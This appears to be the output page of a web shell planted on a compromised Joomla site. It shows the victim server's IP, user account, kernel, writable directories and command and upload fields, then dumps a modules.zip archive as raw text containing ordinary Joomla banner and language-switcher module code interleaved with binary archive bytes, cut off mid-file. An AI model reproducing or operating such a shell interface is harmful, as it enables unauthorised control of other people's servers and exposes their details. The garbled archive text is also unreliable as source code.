403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.217.35
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/123click/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/123click/assets/modules.zip
PK!��}���mod_banners/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_banners
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Environment\Browser;

/**
 * Helper for mod_banners
 *
 * @since  1.5
 */
class ModBannersHelper
{
	/**
	 * Retrieve list of banners
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  mixed
	 */
	public static function &getList(&$params)
	{
		JModelLegacy::addIncludePath(JPATH_ROOT . '/components/com_banners/models', 'BannersModel');

		$document = JFactory::getDocument();
		$app      = JFactory::getApplication();
		$keywords = explode(',', $document->getMetaData('keywords'));
		$config   = ComponentHelper::getParams('com_banners');

		$model = JModelLegacy::getInstance('Banners', 'BannersModel', array('ignore_request' => true));
		$model->setState('filter.client_id', (int) $params->get('cid'));
		$model->setState('filter.category_id', $params->get('catid', array()));
		$model->setState('list.limit', (int) $params->get('count', 1));
		$model->setState('list.start', 0);
		$model->setState('filter.ordering', $params->get('ordering'));
		$model->setState('filter.tag_search', $params->get('tag_search'));
		$model->setState('filter.keywords', $keywords);
		$model->setState('filter.language', $app->getLanguageFilter());

		$banners = $model->getItems();

		if ($banners)
		{
			if ($config->get('track_robots_impressions', 1) == 1 || !Browser::getInstance()->isRobot())
			{
				$model->impress();
			}
		}

		return $banners;
	}
}
PK!�緐��mod_banners/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_banners
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Banners\Site\Helper\BannerHelper;

?>
<div class="mod-banners bannergroup">
<?php if ($headerText) : ?>
	<div class="bannerheader">
		<?php echo $headerText; ?>
	</div>
<?php endif; ?>

<?php foreach ($list as $item) : ?>
	<div class="mod-banners__item banneritem">
		<?php $link = Route::_('index.php?option=com_banners&task=click&id=' . $item->id); ?>
		<?php if ($item->type == 1) : ?>
			<?php // Text based banners ?>
			<?php echo str_replace(array('{CLICKURL}', '{NAME}'), array($link, $item->name), $item->custombannercode); ?>
		<?php else : ?>
			<?php $imageurl = $item->params->get('imageurl'); ?>
			<?php $width = $item->params->get('width'); ?>
			<?php $height = $item->params->get('height'); ?>
			<?php if (BannerHelper::isImage($imageurl)) : ?>
				<?php // Image based banner ?>
				<?php $baseurl = strpos($imageurl, 'http') === 0 ? '' : Uri::base(); ?>
				<?php $alt = $item->params->get('alt'); ?>
				<?php $alt = $alt ?: $item->name; ?>
				<?php $alt = $alt ?: Text::_('MOD_BANNERS_BANNER'); ?>
				<?php if ($item->clickurl) : ?>
					<?php // Wrap the banner in a link ?>
					<?php $target = $params->get('target', 1); ?>
					<?php if ($target == 1) : ?>
						<?php // Open in a new window ?>
						<a
							href="<?php echo $link; ?>" target="_blank" rel="noopener noreferrer"
							title="<?php echo htmlspecialchars($item->name, ENT_QUOTES, 'UTF-8'); ?>">
							<img
								src="<?php echo $baseurl . $imageurl; ?>"
								alt="<?php echo htmlspecialchars($alt, ENT_QUOTES, 'UTF-8'); ?>"
								<?php if (!empty($width)) echo 'width="' . $width . '"'; ?>
								<?php if (!empty($height)) echo 'height="' . $height . '"'; ?>
							>
						</a>
					<?php elseif ($target == 2) : ?>
						<?php // Open in a popup window ?>
						<a
							href="<?php echo $link; ?>" onclick="window.open(this.href, '',
								'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=780,height=550');
								return false"
							title="<?php echo htmlspecialchars($item->name, ENT_QUOTES, 'UTF-8'); ?>">
							<img
								src="<?php echo $baseurl . $imageurl; ?>"
								alt="<?php echo htmlspecialchars($alt, ENT_QUOTES, 'UTF-8'); ?>"
								<?php if (!empty($width)) echo 'width="' . $width . '"'; ?>
								<?php if (!empty($height)) echo 'height="' . $height . '"'; ?>
							>
						</a>
					<?php else : ?>
						<?php // Open in parent window ?>
						<a
							href="<?php echo $link; ?>"
							title="<?php echo htmlspecialchars($item->name, ENT_QUOTES, 'UTF-8'); ?>">
							<img
								src="<?php echo $baseurl . $imageurl; ?>"
								alt="<?php echo htmlspecialchars($alt, ENT_QUOTES, 'UTF-8'); ?>"
								<?php if (!empty($width)) echo 'width="' . $width . '"'; ?>
								<?php if (!empty($height)) echo 'height="' . $height . '"'; ?>
							>
						</a>
					<?php endif; ?>
				<?php else : ?>
					<?php // Just display the image if no link specified ?>
					<img
						src="<?php echo $baseurl . $imageurl; ?>"
						alt="<?php echo htmlspecialchars($alt, ENT_QUOTES, 'UTF-8'); ?>"
						<?php if (!empty($width)) echo 'width="' . $width . '"'; ?>
						<?php if (!empty($height)) echo 'height="' . $height . '"'; ?>
					>
				<?php endif; ?>
			<?php endif; ?>
		<?php endif; ?>
	</div>
<?php endforeach; ?>

<?php if ($footerText) : ?>
	<div class="mod-banners__footer bannerfooter">
		<?php echo $footerText; ?>
	</div>
<?php endif; ?>
</div>
PK!E���mod_banners/mod_banners.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_banners</name>
	<author>Joomla! Project</author>
	<creationDate>July 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_BANNERS_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\Banners</namespace>
	<files>
		<filename module="mod_banners">mod_banners.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_banners.ini</language>
		<language tag="en-GB">language/en-GB/mod_banners.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_BANNERS" />
	<config>
		<fields name="params">
			<fieldset
				name="basic"
				addfieldprefix="Joomla\Component\Banners\Administrator\Field"
				>

				<field
					name="target"
					type="list"
					label="MOD_BANNERS_FIELD_TARGET_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="0">JBROWSERTARGET_PARENT</option>
					<option value="1">JBROWSERTARGET_NEW</option>
					<option value="2">JBROWSERTARGET_POPUP</option>
				</field>

				<field
					name="count"
					type="number"
					label="MOD_BANNERS_FIELD_COUNT_LABEL"
					description="MOD_BANNERS_FIELD_COUNT_DESC"
					default="5"
					filter="integer"
					class="validate-numeric"
				/>

				<field
					name="cid"
					type="bannerclient"
					label="MOD_BANNERS_FIELD_BANNERCLIENT_LABEL"
					description="MOD_BANNERS_FIELD_BANNERCLIENT_DESC"
					filter="integer"
				/>

				<field
					name="catid"
					type="category"
					label="JCATEGORY"
					extension="com_banners"
					multiple="true"
					filter="intarray"
					class="multipleCategories"
					layout="joomla.form.field.list-fancy-select"
				/>

				<field
					name="tag_search"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_BANNERS_FIELD_TAG_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="ordering"
					type="list"
					label="MOD_BANNERS_FIELD_RANDOMISE_LABEL"
					default="0"
					validate="options"
					>
					<option value="0">MOD_BANNERS_VALUE_STICKYORDERING</option>
					<option value="random">MOD_BANNERS_VALUE_STICKYRANDOMISE</option>
				</field>

				<field
					name="header_text"
					type="textarea"
					label="MOD_BANNERS_FIELD_HEADER_LABEL"
					filter="safehtml"
					rows="3"
					cols="40"
				/>

				<field
					name="footer_text"
					type="textarea"
					label="MOD_BANNERS_FIELD_FOOTER_LABEL"
					filter="safehtml"
					rows="3"
					cols="40"
				/>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!�V�JJmod_banners/mod_banners.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_banners
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Component\Banners\Administrator\Helper\BannersHelper as BannersComponentHelper;
use Joomla\Module\Banners\Site\Helper\BannersHelper;

$headerText = trim($params->get('header_text'));
$footerText = trim($params->get('footer_text'));

BannersComponentHelper::updateReset();

$model = $app->bootComponent('com_banners')->getMVCFactory()->createModel('Banners', 'Site', ['ignore_request' => true]);
$list  = BannersHelper::getList($params, $model, $app);

require ModuleHelper::getLayoutPath('mod_banners', $params->get('layout', 'default'));
PK!�}׎h	h	mod_falang/tmpl/default.phpnu&1i�<?php
/**
 * @package		Joomla.Site
 * @subpackage	mod_falang
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die('Restricted access');
JHtml::_('stylesheet', 'mod_falang/template.css', array(), true);

//add alternate tag
$doc = JFactory::getDocument();
$default_lang = JComponentHelper::getParams('com_languages')->get('site', 'en-GB');
$current_lang = JFactory::getLanguage()->getTag();

$sef = JFactory::getApplication()->getCfg('sef');

$remove_default_prefix = 0;
$filter_plugin = JPluginHelper::getPlugin('system', 'languagefilter');
if (!empty($filter_plugin)) {
    $filter_plugin_params = new JRegistry($filter_plugin->params);
    $remove_default_prefix = $filter_plugin_params->get('remove_default_prefix','0');
}

//add an alterante by language
foreach($list as $language) {
    if ($sef == '1') {
        if (($language->lang_code == $default_lang) && $remove_default_prefix == '1') {
            $link = JURI::base() . substr($language->link, 1);
            $link = preg_replace('|/' . $language->sef . '/|', '/', $link, 1);
            //remove last slash for default language
            $link = rtrim($link, "/");
            $doc->addCustomTag('<link rel="alternate" href="' . $link . '" hreflang="' . $language->lang_code . '" />');
        } else {
            $link = JURI::base() . substr($language->link, 1);
            $doc->addCustomTag('<link rel="alternate" href="' . $link . '" hreflang="' . $language->lang_code . '" />');
        }

    } else {
        $doc->addCustomTag('<link rel="alternate" href="' . JURI::base() . substr($language->link, 1) . '" hreflang="' . $language->lang_code . '" />');
    }
}
?>

<div class="mod-languages<?php echo $moduleclass_sfx ?> <?php echo ($params->get('dropdown', 1) && $params->get('advanced_dropdown', 1)) ? ' advanced-dropdown' : '';?>">
<?php if ($headerText) : ?>
	<div class="pretext"><p><?php echo $headerText; ?></p></div>
<?php endif; ?>

<?php if ($params->get('dropdown',1)) : ?>
    <?php require JModuleHelper::getLayoutPath('mod_falang', $params->get('layout', 'default') . '_dropdown'); ?>
<?php else : ?>
    <?php require JModuleHelper::getLayoutPath('mod_falang', $params->get('layout', 'default') . '_list'); ?>
<?php endif; ?>

<?php if ($footerText) : ?>
	<div class="posttext"><p><?php echo $footerText; ?></p></div>
<?php endif; ?>
</div>
PK!�a�--mod_falang/tmpl/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>
PK!��T�� mod_falang/tmpl/default_list.phpnu&1i�<?php
/**
 * @package		Joomla.Site
 * @subpackage	mod_falang
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

?>



<ul class="<?php echo $params->get('inline', 1) ? 'lang-inline' : 'lang-block';?>">
    <?php foreach($list as $language):?>
        
        <!-- >>> [FREE] >>> -->
        <?php if ($params->get('show_active', 0) || !$language->active):?>
            <li class="<?php echo $language->active ? 'lang-active' : '';?>" dir="<?php echo JLanguage::getInstance($language->lang_code)->isRTL() ? 'rtl' : 'ltr' ?>">
                <?php if ($language->display) { ?>
                    <a href="<?php echo $language->link;?>">
                        <?php if ($params->get('image', 1)):?>
                            <?php echo JHtml::_('image', 'mod_falang/'.$language->image.'.gif', $language->title_native, array('title'=>$language->title_native), true);?>
                        <?php endif; ?>
                        <?php if ($params->get('show_name', 1)):?>
                            <?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef);?>
                        <?php endif; ?>
                    </a>
                <?php } else { ?>
                    <?php if ($params->get('image', 1)):?>
                        <?php echo JHtml::_('image', 'mod_falang/'.$language->image.'.gif', $language->title_native, array('title'=>$language->title_native,'style'=>'opacity:0.5'), true);?>
                    <?php endif; ?>
                    <?php if ($params->get('show_name', 1)):?>
                        <?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef);?>
                    <?php endif; ?>
                <?php } ?>
            </li>
        <?php endif;?>
        <!-- <<< [FREE] <<< -->
    <?php endforeach;?>
</ul>
PK!��G$mod_falang/tmpl/default_dropdown.phpnu&1i�<?php
/**
 * @package		Joomla.Site
 * @subpackage	mod_falang
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

?>
<form name="lang" method="post" action="<?php echo htmlspecialchars(JUri::current()); ?>">
    <?php if (!$params->get('advanced_dropdown',0)) : ?>
    	<select class="inputbox" onchange="document.location.replace(this.value);" >
            <?php foreach($list as $language):?>
                <?php if ($language->display) { ?>
                    <option value="<?php echo $language->link;?>" <?php echo !empty($language->active) ? 'selected="selected"' : ''?>><?php echo $language->title_native;?></option>
                <?php } else { ?>
                    <option disabled="disabled" style="opacity: 0.5" value="<?php echo $language->link;?>" <?php echo !empty($language->active) ? 'selected="selected"' : ''?>><?php echo $language->title_native;?></option>
                <?php } ?>
            <?php endforeach; ?>
        </select>
    <?php else : ?>

        <script type="application/javascript">
            jQuery(function() {
                var speed = 150;
                jQuery('div.advanced-dropdown').hover(
                    function()
                    {
                        jQuery(this).find('ul').filter(':not(:animated)').slideDown({duration: speed});
                    },
                    function()
                    {
                        jQuery(this).find('ul').filter(':not(:animated)').slideUp({duration: speed});
                    }
                );
            });
        </script>

        

        <!-- >>> [FREE] >>> -->
        <?php foreach($list as $language):?>
            <?php if ($language->active) :?>
                <a href="javascript:;" class="langChoose">
                    <?php if ($params->get('image', 1)):?>
                        <?php echo JHtml::_('image', 'mod_falang/'.$language->image.'.gif', $language->title_native, array('title'=>$language->title_native), $relativePath);?>
                    <?php else : ?>
                        <?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef);?>
                    <?php endif; ?>
                    <span class="caret"></span>
                </a>
            <?php endif; ?>
        <?php endforeach;?>
        <ul class="<?php echo $params->get('inline', 1) ? 'lang-inline' : 'lang-block';?>" style="display: none">
            <?php foreach($list as $language):?>
                <?php if ($params->get('show_active', 0) || !$language->active):?>
                    <li class="<?php echo $language->active ? 'lang-active' : '';?>" dir="<?php echo JLanguage::getInstance($language->lang_code)->isRTL() ? 'rtl' : 'ltr' ?>">
                        <?php if ($language->display) { ?>
                            <a href="<?php echo $language->link;?>">
                                <?php if ($params->get('image', 1)):?>
                                    <?php echo JHtml::_('image', 'mod_falang/'.$language->image.'.gif', $language->title_native, array('title'=>$language->title_native), $relativePath);?>
                                <?php endif; ?>
                                <?php if ($params->get('show_name', 1)):?>
                                    <?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef);?>
                                <?php endif; ?>
                                <?php if($language->active){?> <i class="fa fa-check lang_checked"></i> <?php } ?>
                            </a>
                        <?php } else { ?>
                            <?php if ($params->get('image', 1)):?>
                                <?php echo JHtml::_('image', 'mod_falang/'.$language->image.'.gif', $language->title_native, array('title'=>$language->title_native,'style'=>'opacity:0.5'), $relativePath);?>
                            <?php else : ?>
                                <?php if ($params->get('show_name', 1)):?>
                                    <?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef);?>
                                <?php endif; ?>
                                <?php if($language->active){?> <i class="fa fa-check lang_checked"></i> <?php } ?>
                            <?php endif; ?>
                        <?php } ?>
                    </li>
                <?php endif;?>
            <?php endforeach;?>
        </ul>
        <!-- <<< [FREE] <<< -->
    <?php endif; ?>
</form>

PK!�a�--mod_falang/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>
PK!���S�D�Dmod_falang/helper.phpnu&1i�<?php
/**
 * @package		Joomla.Site
 * @subpackage	mod_falang
 * @copyright	Copyright (C) 2005 - 2011 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die;

jimport('joomla.language.helper');
jimport('joomla.utilities.utility');
jimport('joomla.html.parameter');
jimport('joomla.filesystem.file');

JLoader::register('MenusHelper', JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php');

abstract class modFaLangHelper
{
	public static function getList(&$params)
	{
		$lang   = JFactory::getLanguage();
		$languages	= JLanguageHelper::getLanguages();
		$app	= JFactory::getApplication();

        //use to remove default language code in url
        $lang_codes 	= JLanguageHelper::getLanguages('lang_code');
        $default_lang = JComponentHelper::getParams('com_languages')->get('site', 'en-GB');
        $default_sef 	= $lang_codes[$default_lang]->sef;

        $sefToolsEnabled = modFaLangHelper::sefToolEnabled();


        $menu = $app->getMenu();
        $active = $menu->getActive();
        $uri = JURI::getInstance();


        // Get menu home items
        $homes = array();

        foreach ($menu->getMenu() as $item)
        {
            if ($item->home)
            {
                $homes[$item->language] = $item;
            }
        }


        if (FALANG_J30) {
            //since 3.2
            if (version_compare(JVERSION, '3.2', 'ge')) {
                $assoc =  JLanguageAssociations::isEnabled();
            } else {
                $assoc = isset($app->item_associations) ? (boolean) $app->item_associations : false;
            }
        } else {
            $assoc = (boolean) $app->get('menu_associations', true);
        }


		if ($assoc) {
			if ($active) {
				$associations = MenusHelper::getAssociations($active->id);
			}
            //v2.2.0 support component assoication
            // Load component associations
            $class = str_replace('com_', '', $app->input->get('option')) . 'HelperAssociation';
            JLoader::register($class, JPATH_COMPONENT_SITE . '/helpers/association.php');

            if (class_exists($class) && is_callable(array($class, 'getAssociations')))
            {
                $cassociations = call_user_func(array($class, 'getAssociations'));
            }
		}
   		foreach($languages as $i => &$language) {
			// Do not display language without frontend UI
			if (!JLanguage::exists($language->lang_code)) {
				unset($languages[$i]);
			}
            if (FALANG_J30) {
                $language_filter = JLanguageMultilang::isEnabled();
            } else {
                $language_filter = $app->getLanguageFilter();
            }

            //set language active before language filter use for sh404 notice
            $language->active =  $language->lang_code == $lang->getTag();

            //since v1.4 change in 1.5 , ex rsform preview don't have active
            //this method don't set display for component association set after
            if (isset($active)){
                $language->display = ($active->language == '*' || $language->active)?true:false;
            } else {
                $language->display = true;
            }


            if ($language_filter) {
                //use component association
                if (isset($cassociations[$language->lang_code])) {
                    $language->link = JRoute::_($cassociations[$language->lang_code] . '&lang=' . $language->sef);
                    //if association existe for this language display flag.
                    $language->display = true;
                }elseif (isset($associations[$language->lang_code]) && $menu->getItem($associations[$language->lang_code])) {
                    //use menu association.
                    $language->display = true;
                    $itemid = $associations[$language->lang_code];

                    //use to have component parameters in case of menu association
                    $router = JApplication::getRouter();
                    $tmpuri = clone($uri);
                    $router->parse($tmpuri);
                    $vars = $router->getVars();
                    $vars['lang'] = $language->sef;
                    $vars['Itemid'] = $itemid;
                    $url = 'index.php?'.JURI::buildQuery($vars);

                    if ($app->getCfg('sef')=='1') {
                        $language->link = JRoute::_($url);
                    }
                    else {
                        $language->link = $url;
                    }
                }
                else {
                    //sef case
                    if ($app->getCfg('sef')=='1') {

                        //sefToolsEnabled
                        if ($sefToolsEnabled) {
                            $itemid = isset($homes[$language->lang_code]) ? $homes[$language->lang_code]->id : $homes['*']->id;
                            $language->link = JRoute::_('index.php?lang='.$language->sef.'&Itemid='.$itemid);
                            continue;
                        }


                         //$uri->setVar('lang',$language->sef);
                         $router = JApplication::getRouter();
                         $tmpuri = clone($uri);

                         $router->parse($tmpuri);

                         $vars = $router->getVars();
                         //workaround to fix index language
                         $vars['lang'] = $language->sef;

                        //since 2.2.1
                        //case of article category view
                        //set the language used to reload category with the right language
                        $jfm = FalangManager::getInstance();
                        if (!empty($vars['view']) && $vars['view'] == 'category'  && !empty($vars['option']) && $vars['option'] == 'com_content') {
                            if (($language->lang_code != $default_lang) || ($lang->getTag() != $default_lang) ){
                                JCategories::$instances = array();
                                $jfm->setLanguageForUrlTranslation($language->lang_code);
                            }
                        }
                        //end since 2.2.1

                        //case of category article
                        //set the language used to reload category with the right language
                        if (!empty($vars['view']) && $vars['view'] == 'article'  && !empty($vars['option']) && $vars['option'] == 'com_content') {

                            //since 2.2.1
                            if (($language->lang_code != $default_lang) || ($lang->getTag() != $default_lang) ){
                                JCategories::$instances = array();
                                $jfm->setLanguageForUrlTranslation($language->lang_code);
                            }
                            //end 2.2.1

                            if (FALANG_J30){
                                JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_content/models', 'ContentModel');
                                $model = JModelLegacy::getInstance('Article', 'ContentModel', array('ignore_request'=>true));
                                $appParams = JFactory::getApplication()->getParams();
                            } else {
                                JModel::addIncludePath(JPATH_SITE.'/components/com_content/models', 'ContentModel');
                                $model =& JModel::getInstance('Article', 'ContentModel', array('ignore_request'=>true));
                                $appParams = JFactory::getApplication()->getParams();
                            }


                            $model->setState('params', $appParams);

                            //in sef some link have this url
                            //index.php/component/content/article?id=39
                            //id is not in vars but in $tmpuri
                            if (empty($vars['id'])) {
                                $tmpid = $tmpuri->getVar('id');
                                if (!empty($tmpid)) {
                                    $vars['id'] = $tmpuri->getVar('id');
                                } else {
                                    continue;
                                }
                            }

                            $item = $model->getItem($vars['id']);

                            //get alias of content item without the id , so i don't have the translation
                            $db = JFactory::getDbo();
                            $query = $db->getQuery(true);
                            $query->select('alias')->from('#__content')->where('id = ' . (int) $item->id);
                            $db->setQuery($query);
                            $alias = $db->loadResult();

                            $vars['id'] = $item->id.':'.$alias;
                            $vars['catid'] =$item->catid.':'.$item->category_alias;
                        }

                        //new version 1.5
                        //case for k2 item alias write twice
                        //since k2 v 1.6.9 $vars['task'] don't exist.
                        if (isset($vars['option']) && $vars['option'] == 'com_k2'){
                            if (isset($vars['task']) && ($vars['task'] == $vars['id'])){
                                unset($vars['id']);
                            }
                        }

                        $url = 'index.php?'.JURI::buildQuery($vars);
                        $language->link = JRoute::_($url);


                        //since 2.2.1
                        //on restaure les categories pour le cas des liste de categories
                        if (!empty($vars['view']) && $vars['view'] == 'category'  && !empty($vars['option']) && $vars['option'] == 'com_content') {
                            if (($language->lang_code != $default_lang) || ($lang->getTag() != $default_lang)) {
                                JCategories::$instances = array();
                                $jfm->setLanguageForUrlTranslation(null);
                            }
                        }

                        if (!empty($vars['view']) && $vars['view'] == 'article'  && !empty($vars['option']) && $vars['option'] == 'com_content') {

                            if (($language->lang_code != $default_lang) || ($lang->getTag() != $default_lang)) {
                                JCategories::$instances = array();
                                $jfm->setLanguageForUrlTranslation(null);
                            }
                        }
                        //end 2.2.1


                        //TODO check performance 3 queries by languages -1
                        /**
                         * Replace the slug from the language switch with correctly translated slug.
                         * $language->lang_code language de la boucle (icone lien)
                         * $lang->getTag() => language en cours sur le site
                         * $default_lang langue par default du site
                         */
                        if($lang->getTag() != $language->lang_code && !empty($vars['Itemid']))
                        {
                            $fManager = FalangManager::getInstance();
                            $id_lang = $fManager->getLanguageID($language->lang_code);
                            $db = JFactory::getDbo();
                            // get translated path if exist
                            $query = $db->getQuery(true);
                            $query->select('fc.value')
                                ->from('#__falang_content fc')
                                ->where('fc.reference_id = '.(int)$vars['Itemid'])
                                ->where('fc.language_id = '.(int) $id_lang )
                                ->where('fc.reference_field = \'path\'')
                                ->where('fc.reference_table = \'menu\'');
                            $db->setQuery($query);
                            $translatedPath = $db->loadResult();

                            // $translatedPath not exist if not translated or site default language
                            // don't pass id to the query , so no translation given by falang
                            $query = $db->getQuery(true);
                            $query->select('m.path')
                                ->from('#__menu m')
                                ->where('m.id = '.(int)$vars['Itemid']);
                            $db->setQuery($query);
                            $originalPath = $db->loadResult();

                            $pathInUse = null;
                            //si on est sur une page traduite on doit récupérer la traduction du path en cours
                            if ($default_lang != $lang->getTag() ) {
                                $id_lang = $fManager->getLanguageID($lang->getTag());
                                // get translated path if exist
                                $query = $db->getQuery(true);
                                $query->select('fc.value')
                                    ->from('#__falang_content fc')
                                    ->where('fc.reference_id = '.(int)$vars['Itemid'])
                                    ->where('fc.language_id = '.(int) $id_lang )
                                    ->where('fc.reference_field = \'path\'')
                                    ->where('fc.reference_table = \'menu\'');
                                $db->setQuery($query);
                                $pathInUse = $db->loadResult();

                            }

                            if (!isset($translatedPath)) {
                                $translatedPath = $originalPath;
                            }

                            // not exist if not translated or site default language
                            if (!isset($pathInUse)) {
                                $pathInUse = $originalPath ;
                            }

                            //make replacement in the url

                            //si language de boucle et language site
                            if($language->lang_code == $default_lang) {
                                if (isset($pathInUse) && isset($originalPath)){
                                    $language->link = str_replace($pathInUse, $originalPath, $language->link);
                                }
                            } else {
                                if (isset($pathInUse) && isset($translatedPath)){
                                    $language->link = str_replace($pathInUse, $translatedPath, $language->link);
                                }
                            }

                        }
                    }
                    //default case
             else {
                     if (version_compare(JVERSION, '3.4.3', 'ge')) {
                         JUri::reset();
                         $uri = JUri::getInstance();
                         $uri->setVar('lang',$language->sef);
                         $language->link = JUri::getInstance()->toString(array('scheme', 'host', 'port', 'path', 'query'));
                         //fix problem on mod_login (same position before falang module
                         JUri::reset();
                     } else {
                         //we can't remove default language in the link
                         $uri->setVar('lang',$language->sef);
                         $language->link = 'index.php?'.$uri->getQuery();
                     }
                 }
                }
            }
            else {
                $language->link = 'index.php';
            }

		}
		return $languages;
	}

    public static function isFalangDriverActive() {
        $db = JFactory::getDBO();
        if (!is_a($db,"JFalangDatabase")){
           return false;
        }
           return true;
    }

    public static function sefToolEnabled() {

        //check mijosef
        $mijoseffilename = JPATH_ADMINISTRATOR . '/components/com_mijosef/library/mijosef.php';
        if (JFile::exists($mijoseffilename)) {
            require_once($mijoseffilename);
            $mijoconfig = Mijosef::getConfig();

            if ($mijoconfig->mode == 1){
                return true;
            }
        }
        //check sh404
        $sh404filename = JPATH_ADMINISTRATOR . '/components/com_sh404sef/sh404sef.class.php';
        if (JFile::exists($sh404filename)) {
            require_once($sh404filename);
            // get our configuration
            $sefConfig = &Sh404sefFactory::getConfig();

            if ($sefConfig->Enabled)
            {
                return true;
            }
        }

        //check acesef
        //no more necessary with acesef > 4.1.1
//        $aceseffilename = JPATH_ADMINISTRATOR . '/components/com_acesef/library/utility.php';
//        if (JFile::exists($aceseffilename)) {
//            require_once($aceseffilename);
//            $AcesefConfig =  AcesefFactory::getConfig();
//            if ($AcesefConfig->mode == 1){
//                //woraround to set language filter mijosef don't set it in 4.1.1
//                $app = JFactory::getApplication();
//                if ($app->isSite()){
//                    $app->setLanguageFilter(true);
//                }
//                return true;
//            }
//        }

        return false;
    }


}
PK!�Ok877mod_falang/mod_falang.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension 	type="module" version="2.5"	client="site" method="upgrade">
	<name>mod_falang</name>
	<author>Stéphane Bouey</author>
	<creationDate>October 2012</creationDate>
	<copyright>2011-2015, Faboba</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>stephane.bouey@faboba.com</authorEmail>
	<authorUrl>www.faboba.com</authorUrl>
	<version>2.2.1</version>
	<description>MOD_FALANG_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_falang">mod_falang.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
		<filename>index.html</filename>
		<filename>mod_falang.xml</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.mod_falang.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.mod_falang.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_LANGUAGE_SWITCHER" />

	<media destination="mod_falang" folder="media">
		<filename>index.html</filename>
		<folder>images</folder>
        <folder>css</folder>
	</media>

	<config>
		<fieldset>
			<field name="language"
				type="list"
				description="JFIELD_MODULE_LANGUAGE_DESC"
				label="JFIELD_LANGUAGE_LABEL">
				<option value="*">JALL</option>
			</field>
		</fieldset>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="dropdown"
					type="radio"
                    class="btn-group btn-group-yesno"
					default="0"
					label="MOD_FALANG_FIELD_DROPDOWN_LABEL"
					description="MOD_FALANG_FIELD_DROPDOWN_DESC" >
